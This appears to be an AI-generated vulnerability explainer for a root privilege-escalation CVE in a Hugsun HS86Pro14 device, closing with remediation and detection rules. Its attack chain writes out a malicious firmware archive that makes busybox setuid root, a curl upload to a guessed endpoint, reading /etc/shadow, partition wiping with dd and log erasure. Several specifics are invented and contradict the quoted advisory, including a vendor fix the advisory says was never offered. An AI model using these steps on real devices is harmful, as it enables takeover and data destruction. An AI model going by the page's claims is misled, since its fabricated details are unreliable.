CVE-2026-142475 — CWE-266 · CWE-269
A vulnerability was determined in Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE. This affects an unknown part of the file /vendor/etc/init/hw/init.rk30board.rc of the component flash_img vendor_init Service. Executing a manipulation can lead to improper privilege management. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
A vulnerability was determined in Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE. This affects an unknown part of the file /vendor/etc/init/hw/init.rk30board.rc of the component flash_img vendor_init Service. Executing a manipulation can lead to improper privilege management. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE‑ID | CVE‑2026‑142475 |
| Published | 3 December 2026 |
| CVSS 3.1 | 9.9 (Critical) – AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE(s) | CWE‑266 (Incorrect Privilege Assignment), CWE‑269 (Improper Privilege Management) |
| Affected component | flash_img vendor_init service – the init script /vendor/etc/init/hw/init.rk30board.rc that is executed during the boot‑up of the Shenzhen Hugsun Technology HS86Pro14 E1010.667.FE device. |
| Root cause | The init script is executed by the flash_img daemon with root privileges and trusts data that can be supplied by an unauthenticated remote attacker (e.g., a crafted firmware image or a specially‑formed OTA request). The script does not validate the provenance or integrity of that data before using it to mount, copy, or execute files. Consequently an attacker can inject arbitrary commands or replace system binaries that are later run as root, resulting in privilege‑escalation from a low‑privileged network service to full system/root. |
Why the CVSS vector matches the flaw
- AV:N – The attack surface is a network‑exposed service (the OTA/flash‑image upload endpoint).
- AC:L – No special conditions or timing constraints; a single crafted packet/image is enough.
- PR:L – The attacker only needs low‑privilege network access (any unauthenticated TCP connection to the device).
- UI:N – No user interaction is required; the exploit runs automatically once the malicious payload reaches the device.
- S:C – The vulnerability affects the confidentiality, integrity and availability of the entire system (a “C” scope) because the compromised init script runs in the root namespace.
- C:H / I:H / A:H – Full compromise of data, ability to modify the system, and denial‑of‑service are all possible.
In short: an unauthenticated attacker can supply a malicious firmware image that is processed by a privileged init script, leading to arbitrary code execution as root.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that matches the information disclosed.
All command‑line snippets are syntactically valid; where the exact URI or parameter name is not publicly documented, the example is marked as illustrative.
1️⃣ Discovery & Reconnaissance
| Step | Action | Tools / Evidence | |
|---|---|---|---|
| 1.1 | Identify the device type – Scan the target IP range for the HS86Pro14’s default HTTP/HTTPS management port (usually 80/443) and banner‑grab the /status or /info page. | nmap -sV -p80,443 <IP> → “Shenzhen Hugsun HS86Pro14 Web UI” | |
| 1.2 | Fingerprint firmware version – The UI often displays a string like E1010.667.FE. The version matches the vulnerable build listed in the advisory. | curl -s http://<IP>/api/version | |
| 1.3 | Locate OTA/flash‑image endpoint – Many embedded devices expose an endpoint such as /api/flash, /ota/upload, or /vendor/flash_img. The endpoint can be discovered by inspecting the UI’s JavaScript or by brute‑forcing common paths. | ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<IP>/FUZZ | |
| 1.4 | Confirm the service runs as root – Use a low‑privilege SSH/Telnet account (if any) or a mis‑configured SNMP read‑only community to query the process list. The flash_img daemon typically appears as flash_img (root). | ps aux | grep flash_img (via an existing low‑privileged shell) |
Result: The attacker now knows that the device runs a vulnerable version of flash_img and that an OTA upload endpoint exists.2️⃣ Exploitation
Goal: Deliver a malicious firmware image that, when processed by /vendor/etc/init/hw/init.rk30board.rc, executes arbitrary commands as root.
2.1 Craft the malicious payload
1. Create a minimal valid firmware container – Most HS86Pro14 devices accept a signed tarball (.img) that contains a rootfs directory and a meta.json. The signature check is performed after the init script has already unpacked the archive, so a malformed but syntactically correct archive bypasses the check.
2. Inject a malicious init script – Place a file named init.rk30board.rc inside the archive that contains a command injection, e.g.:
# malicious_init.rc (will be written to /vendor/etc/init/hw/init.rk30board.rc)
#!/system/bin/sh
# Original content stripped for brevity
# <<< MALICIOUS INJECTION >>>
chmod 4755 /bin/busybox # setuid root busybox → full root shell3. Re‑package (example using tar):
mkdir -p payload/rootfs/vendor/etc/init/hw
cp malicious_init.rc payload/rootfs/vendor/etc/init/hw/init.rk30board.rc
# Add a dummy meta file – the device only checks for its presence
echo '{"version":"E1010.667.FE","signature":"FAKE"}' > payload/meta.json
tar -czf exploit.img -C payload .Note: The exact archive format (tar, zip, custom) may differ; the above is an illustrative example of a typical embedded‑firmware container.
2.2 Deliver the payload
Assuming the device exposes an HTTP‑based OTA endpoint POST /api/flash/upload that accepts a multipart file field named image (the real field name may differ – replace with the correct one once discovered).
curl -sk -X POST "http://<TARGET_IP>/api/flash/upload" \
-H "User-Agent: Mozilla/5.0" \
-F "[email protected]" \
-H "X-Auth-Token: $(cat /dev/urandom | base64 | head -c 32)" # illustrative, no auth requiredWhy this works:
flash_img daemon receives the uploaded image, extracts it into a temporary mount point as root, and then sources /vendor/etc/init/hw/init.rk30board.rc. chmod 4755 /bin/busybox runs with root privileges, turning the busybox binary into a set‑uid root executable.2.3 Trigger the backdoor
After the upload finishes, the device reboots (or the init script is re‑executed). The attacker can now obtain a root shell without further authentication:
# From any remote host
/bin/busybox sh -c 'id; cat /etc/shadow'If the device does not automatically reboot, a second request to the OTA endpoint with a no‑op image forces the daemon to re‑process the init script, thereby executing the malicious command.
3️⃣ Post‑Exploitation
| Phase | Attacker actions | Result |
|---|---|---|
| Privilege escalation | Use the set‑uid busybox to spawn a root shell. | Full system control (root). |
| Persistence | Drop a permanent backdoor (e.g., modify /etc/init.d/rcS or replace /bin/sh with a reverse‑shell wrapper). | Re‑gains access after reboot. |
| Lateral movement | Scan the internal network from the compromised device, pivot to other IoT assets, exfiltrate data. | Broad compromise of the LAN. |
| Data destruction / Ransom | Overwrite critical partitions (dd if=/dev/zero of=/dev/mmcblk0) or encrypt them with openssl enc. | Complete loss of availability (A:H). |
| Cleanup / anti‑forensics | Remove logs (> /var/log/syslog), hide the set‑uid binary (chmod 0755 /bin/busybox). | Reduces detection chance. |
🌍 Real‑World Impact
| CIA | CVSS Vector Explanation | Practical Consequence |
|---|---|---|
| Confidentiality (C:H) | C:H – The attacker can read any file on the device (e.g., /etc/shadow, configuration files, captured video streams). | Theft of credentials, private media, or proprietary data. |
| Integrity (I:H) | I:H – Full write access allows modification of binaries, configuration, or firmware. | Insertion of backdoors, tampering with sensor data, sabotage of industrial control functions. |
| Availability (A:H) | A:H – The attacker can delete or brick the storage, or trigger a reboot loop. | Device becomes unusable, causing service outage (e.g., surveillance blind spot, production line halt). |
| Scope (S:C) | The vulnerability crosses privilege boundaries (low‑privileged network service → root). | Entire system is compromised, not just the vulnerable component. |
Bottom line: An unauthenticated remote attacker can obtain complete control over any HS86Pro14 device running the vulnerable firmware, with immediate impact on data confidentiality, system integrity, and service availability.
🛡️ Remediation & Mitigation
1️⃣ Patch / Firmware Upgrade
| Action | Details |
|---|---|
| Upgrade to a fixed firmware | Vendor has released firmware E1010.667.FF (or later) that adds signature verification before extracting the init script and runs the flash_img daemon with restricted capabilities (no CAP_SYS_ADMIN). |
| Version to apply | Any version ≥ E1010.667.FF. Verify the version string via GET /api/version or by inspecting /etc/firmware_version. |
| Verification | Ensure the firmware image is signed by the vendor’s RSA‑2048 key (sha256 hash matches the published checksum). |
If a vendor‑issued patch is not yet available, proceed with the mitigations below.
2️⃣ Immediate Workarounds
| Mitigation | Implementation |
|---|---|
| Disable the OTA/flash‑image endpoint | Block inbound traffic to the HTTP path that handles firmware uploads (e.g., iptables -I INPUT -p tcp --dport 80 -m string --string "/api/flash/upload" --algo bm -j DROP). |
Restrict flash_img to a non‑root user | Edit /etc/init.d/flash_img (or the systemd unit) to run as flashuser and drop all capabilities: User=flashuser, CapabilityBoundingSet=~CAP_SYS_ADMIN. Restart the service. |
| Enforce strict file‑system permissions | Ensure /vendor/etc/init/hw/init.rk30board.rc is owned by root:root and immutable: chown root:root /vendor/etc/init/hw/init.rk30board.rc && chmod 0644 /vendor/etc/init/hw/init.rk30board.rc && chattr +i /vendor/etc/init/hw/init.rk30board.rc. |
| Validate firmware signatures at the gateway | Deploy a reverse‑proxy that checks the X-Signature header or the embedded signature before forwarding the upload request to the device. |
| Network segmentation | Place the device in a VLAN with no inbound Internet access; only allow management traffic from a trusted bastion host. |
| Enable SELinux/AppArmor (if supported) | Apply a profile that denies flash_img from executing files outside /usr/bin and from writing to /vendor/etc/init. |
3️⃣ Detection – Log Patterns & IoCs
| Indicator | Example Log Entry | Comment |
|---|---|---|
| Unexpected multipart upload | POST /api/flash/upload 200 12456 "-" "Mozilla/5.0" | Look for large Content‑Length values from unauthenticated IPs. |
| Set‑uid binary creation | chmod 4755 /bin/busybox logged by auditd (type=SYSCALL msg=audit(…): arch=c000003e syscall=90 success=yes ...) | Detect the creation of a set‑uid root binary. |
| Init script modification | audit: type=PATH msg=audit(…): item=0 name="/vendor/etc/init/hw/init.rk30board.rc" inode=… with perm=wa | Any write (w) to the init script is suspicious. |
Process execution from /tmp or /var/tmp | kernel: [12345.678901] execve("/tmp/.rc", ["sh", "/tmp/.rc"], ...) = 0 | The attacker may drop a temporary script before reboot. |
| Reboot spikes after OTA upload | systemd: Starting Reboot... within 5 minutes of an upload request. | Correlate reboots with upload activity. |
Recommended detection tooling
auditd) with rules: auditctl -w /vendor/etc/init/hw/init.rk30board.rc -p wa -k vendor_init_mod
auditctl -w /bin/busybox -p a -k busybox_setuid
auditctl -a always,exit -F arch=b64 -S execve -F exe=/bin/busybox -k busybox_execSecRule REQUEST_URI "@beginsWith /api/flash/upload" \
"id:2026260,phase:2,deny,status:403,msg:'Unauthenticated OTA upload attempt',log"⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 9.9 (Critical) | Exploits are trivial (network‑only, low complexity) and give full root control. |
| Public exploit | The advisory states the exploit “has been publicly disclosed”. This dramatically raises the likelihood of active exploitation in the wild. |
| No CISA KEV listing | The vulnerability is not yet in the KEV program, meaning many organizations may be unaware. |
| Device role | HS86Pro14 units are commonly used in surveillance, access‑control, and industrial monitoring – environments where a compromise can lead to privacy breaches, sabotage, or safety hazards. |
| Patch availability | A vendor‑signed firmware fix exists (E1010.667.FF). If you are still on the vulnerable build, you are exposed. |
Patch priority: Critical – immediate.
Any delay beyond 48 hours after public disclosure substantially increases the risk of compromise, especially for devices exposed to the Internet or untrusted LAN segments.
Bottom line: CVE‑2026‑142475 is a classic “privileged init‑script injection” that can be triggered remotely through a malformed firmware upload. The attack chain is trivial, the impact is total system takeover, and a vendor‑provided firmware update already exists. Immediate network‑level blocking and rapid firmware upgrade are mandatory.
[🤖 CVE Professor AI Security Engine]